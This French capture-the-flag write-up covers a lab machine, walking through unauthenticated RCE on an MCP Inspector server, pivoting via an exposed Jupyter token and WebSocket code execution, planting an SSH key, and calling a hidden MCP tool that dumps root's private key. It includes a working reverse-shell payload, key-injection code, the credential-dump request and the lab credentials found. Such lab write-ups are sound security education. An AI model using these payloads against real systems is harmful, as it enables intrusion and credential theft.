DevHub
De la RCE anonyme sur un serveur MCP jusqu'au root : tokens Jupyter exposés, exécution de code via WebSocket et un hidden tool qui dump la clé SSH de root.
IP de la machine : 10.129.15.243
IP de l’attaquant : 10.10.15.210
Difficulté : Medium
Thème : MCP (Model Context Protocol), Jupyter, escalade de privilèges via une API cachée
Résumé de la chaîne d’exploitation
RCE anonyme (CVE-2026-23744)
→ shell mcp-dev
→ token Jupyter dans ps aux
→ exécution de code en tant qu'analyst via WebSocket
→ clé SSH analyst injectée
→ lecture de server.py (root)
→ clé SSH root via hidden tool
→ root
1. Reconnaissance
La machine expose les services suivants :
| Port | Service |
|---|---|
| 22 | SSH |
| 80 | Nginx |
| 6274 | MCPJam Inspector (Node.js) |
MCPJam est un outil de gestion de serveurs MCP (Model Context Protocol) avec une interface web sur le port 6274. Il utilise Ollama pour faire tourner des LLM locaux.
Site web — port 80

On voit ici que le MCP Inspector est exposé sur le port 6274, et on remarque également que le site utilise Jupyter, ce qui nous sera utile plus tard.
MCPJam
Sur cette capture, on voit que la version de MCPJam est sujette à la CVE-2026-23744, une vulnérabilité permettant de faire de la RCE.

2. Exploitation initiale — CVE-2026-23744 (RCE non authentifiée)
Découverte
MCPJam Inspector version 1.4.2 est vulnérable à une exécution de commande non authentifiée via l’endpoint /api/mcp/connect sur le port 6274.
Exploitation
L’endpoint vulnérable /api/mcp/connect permet d’injecter directement une commande shell :
python3 exploit.py -t 10.129.15.243 -c 'bash -i >& /dev/tcp/10.10.15.210/4445 0>&1'
_____ _ _ _____ ____ ___ ____ __ ____ _____ ______ _ _ _ _
/ ____| \ | | ___| |___ \ / _ \___ \ / /_ |___ \|___ /|____ | || || || |
| | | \| | |__ ___ __) | | | |__) | '_ \ _____ __) | |_ \ / /| || || || |
| | | . ` | __| |___||__ <| | | |__ <| (_) |_____|__ < ___) | / / |__ _ _|
| |____|_|\__| |___ ___) | |_| |__) |\___/ ___) |____/ / / | | | |
\_____| |_____| |____/ \___/____/ |____/ /_/ |_| |_|
[ MCP Server Unauthenticated RCE — Proof of Concept ]
[ Author: d3vn0mi | For authorised security testing only ]
[*] Target URL : http://10.129.15.243:6274/api/mcp/connect
[*] Command : bash -i >& /dev/tcp/10.10.15.210/4445 0>&1
[+] Payload delivered successfully.
[+] CVE-2026-23744 exploit completed.
Sur le listener :
nc -lvnp 4445
# connect to [10.10.15.210] from (UNKNOWN) [10.129.15.243]
Stabilisation du shell :
python3 -c 'import pty; pty.spawn("/bin/bash")'
Utilisateur obtenu : mcp-dev

3. Énumération en tant que mcp-dev
SUID — Tentative PwnKit (CVE-2021-4034)
find / -type f -perm -4000 2>/dev/null
# /usr/bin/pkexec — version 0.105
pkexec 0.105 est théoriquement vulnérable à PwnKit, mais plusieurs tentatives ont échoué :
# Erreur rencontrée sur tous les exploits testés :
GLib: Cannot convert message: Could not open converter from "UTF-8" to "PWNKIT"
Raison : les locales GCONV sont en lecture seule (/usr/lib/x86_64-linux-gnu/gconv/gconv-modules non modifiable). PwnKit est bloqué sur cette machine.
Ports internes
ss -tlnp
# LISTEN 127.0.0.1:8888 → Jupyter Lab (analyst)
# LISTEN 127.0.0.1:5000 → OPSMCP server.py (root)
# LISTEN 0.0.0.0:6274 → MCPJam Inspector
# LISTEN 0.0.0.0:80 → Nginx
# LISTEN 0.0.0.0:22 → SSH
Token Jupyter dans ps aux
ps aux
Dans la liste des processus, on voit deux processus intéressants : celui de Jupyter lancé par l’utilisateur analyst, et un fichier Python /opt/opsmcp/server.py lancé par root.
analyst 1056 /home/analyst/jupyter-env/bin/python3 \
/home/analyst/jupyter-env/bin/jupyter-lab \
--ip=127.0.0.1 --port=8888 --no-browser \
--notebook-dir=/home/analyst/notebooks \
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 \
--ServerApp.password= --ServerApp.disable_check_xsrf=False
Token trouvé : a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
Le service OPSMCP tourne quant à lui en root :
root 1063 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
4. Pivot vers analyst — Exécution de code via WebSocket Jupyter
L’API REST de Jupyter ne permettait pas l’exécution directe de code. Il a fallu implémenter le protocole WebSocket de Jupyter manuellement pour envoyer des execute_request au kernel Python existant.
Récupération du Kernel ID
L’endpoint /api de Jupyter retourne l’état du kernel actif sans authentification :
curl -v http://127.0.0.1:8888/api
Réponse :
{
"id": "48cb87b5-79c2-49e4-a34b-4ab50a9be27d",
"name": "python3",
"last_activity": "2026-06-05T15:19:29.937300Z",
"execution_state": "starting",
"connections": 0
}
Un kernel Python tournait déjà (lancé automatiquement par Jupyter). On peut aussi en créer un nouveau et récupérer son ID :
TOKEN="a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
curl -s -X POST "http://127.0.0.1:8888/api/kernels" \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json"
# Retourne le nouvel ID : eae36f9d-5ee7-49f6-ab60-2bd482530162
Ce KID est ensuite utilisé dans l’URL WebSocket /api/kernels/{KID}/channels.
Script d’exécution WebSocket

Via le WebSocket, on remarque que l’exploit fonctionne grâce à l’ID retourné.
Résultat :
[stream] {'name': 'stdout', 'text': 'uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)\n'}
Injection d’une clé SSH pour analyst
Génération de la clé sur Kali :
ssh-keygen -t ed25519 -f ssh_key -N ""
cat ssh_key.pub
Exécution via le kernel Jupyter (code modifié) :
CODE = """
import subprocess; subprocess.run('mkdir -p /home/analyst/.ssh && echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPVEqXqJ3R9Oqyq6jdowuVUogEYQNqeqYcYmA+yLATTN pablo@CTF-TEST\" > /home/analyst/.ssh/authorized_keys && chmod 700 /home/analyst/.ssh && chmod 600 /home/analyst/.ssh/authorized_keys && echo done', shell=True, capture_output=False)
"""
Connexion SSH :
ssh -i ssh_key [email protected]

User flag :

5. Escalade vers root — hidden tool d’OPSMCP
(Re)découverte de server.py
En tant qu’analyst, le fichier /opt/opsmcp/server.py est lisible (propriétaire analyst:analyst) et tourne en root via systemd.
Contenu de /opt/opsmcp/server.py
#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""
from flask import Flask, jsonify, request
import os
app = Flask(__name__)
# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
# Registered tools (visible)
VISIBLE_TOOLS = {
"ops.system_status": {
"description": "Get system status and health metrics",
"parameters": {}
},
"ops.list_services": {
"description": "List running services",
"parameters": {}
},
"ops.check_disk": {
"description": "Check disk usage",
"parameters": {}
},
"ops.view_logs": {
"description": "View recent system logs",
"parameters": {"service": "string"}
}
}
# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
"parameters": {"target": "string", "confirm": "boolean"}
},
"ops._debug_mode": {
"description": "Enable debug mode",
"parameters": {}
}
}
ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}
def check_auth():
api_key = request.headers.get('X-API-Key', '')
return api_key == VALID_API_KEY
@app.route('/')
def index():
return jsonify({
"server": "OPSMCP",
"version": "2.1.0",
"status": "operational",
"endpoints": ["/tools/list", "/tools/call", "/health"],
"auth": "Required - X-API-Key header"
})
@app.route('/tools/call', methods=['POST'])
def call_tool():
if not check_auth():
return jsonify({"error": "Unauthorized"}), 401
data = request.get_json() or {}
tool_name = data.get('name', '')
args = data.get('arguments', {})
if tool_name not in ALL_TOOLS:
return jsonify({"error": f"Unknown tool: {tool_name}"}), 404
# ... outils visibles ...
elif tool_name == "ops._admin_dump":
target = args.get('target', '')
confirm = args.get('confirm', False)
if not confirm:
return jsonify({"error": "Confirmation required"})
if target == "ssh_keys":
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({
"target": "ssh_keys",
"root_private_key": key_data,
"note": "Emergency recovery key dump"
})
elif target == "passwords":
return jsonify({
"target": "passwords",
"dump": {
"root": "$6$rounds=656000$saltsalt$hashedpassword",
"analyst": "JupyterN0tebook!2026",
"mcp-dev": "Mcp!Insp3ct0r2026"
}
})
elif target == "tokens":
return jsonify({
"target": "tokens",
"api_tokens": {
"admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
"service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
}
})
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
Points clés découverts
- API Key :
opsmcp_secret_key_4f5a6b7c8d9e0f1a - Tool caché :
ops._admin_dump— non listé dans/tools/listmais appelable - Target
ssh_keys: lit et retourne/root/.ssh/id_rsa
Extraction de la clé SSH root
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
Réponse :

Connexion SSH root
La clé récupérée contenait des \n littéraux. Il faut la reformater correctement :
cat > /tmp/root_htb << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9
[...]
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/root_htb
ssh -i /tmp/root_htb [email protected]
Root flag :

6. Points difficiles
PwnKit bloqué
pkexec 0.105 est présent mais inutilisable car /usr/lib/x86_64-linux-gnu/gconv/gconv-modules est en lecture seule. L’exploit nécessite d’écrire un faux module de conversion GCONV — sans cela, il échoue systématiquement avec Could not open converter from "UTF-8" to "PWNKIT". C’est une protection intentionnelle de la machine.
Exécution de code Jupyter via WebSocket
L’API REST de Jupyter (/api/kernels/{id}/execute) n’existe pas — il faut obligatoirement passer par le WebSocket avec le protocole de messaging Jupyter. La difficulté était d’implémenter correctement la frame WebSocket en Python pur (masquage XOR, gestion des longueurs sur 16 bits) sans bibliothèque externe.
7. Credentials trouvés
| Utilisateur | Credential | Source |
|---|---|---|
| analyst | Token Jupyter : a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 | ps aux |
| analyst | JupyterN0tebook!2026 | ops._admin_dump passwords |
| mcp-dev | Mcp!Insp3ct0r2026 | ops._admin_dump passwords |
| root | Clé SSH privée RSA | ops._admin_dump ssh_keys |
| OPSMCP | API Key : opsmcp_secret_key_4f5a6b7c8d9e0f1a | server.py (source) |
8. Leçons retenues
ps auxrévèle les tokens : les arguments de processus sont visibles par tous les utilisateurs locaux. Les tokens, clés d’API et mots de passe passés en argument de ligne de commande sont une fuite d’information classique.- Les hidden tools existent : une API qui expose
/tools/listne liste pas forcément tous les outils disponibles. Il faut toujours lire le code source quand il est accessible. - Le chemin prévu n’est pas toujours le plus évident : PwnKit semblait être la voie royale, mais c’était un leurre. Le vrai chemin passait par trois services internes imbriqués.
- WebSocket n’est pas REST : Jupyter utilise un protocole de messaging sur WebSocket pour l’exécution de code, pas une API REST standard. Il faut comprendre le protocole pour l’exploiter.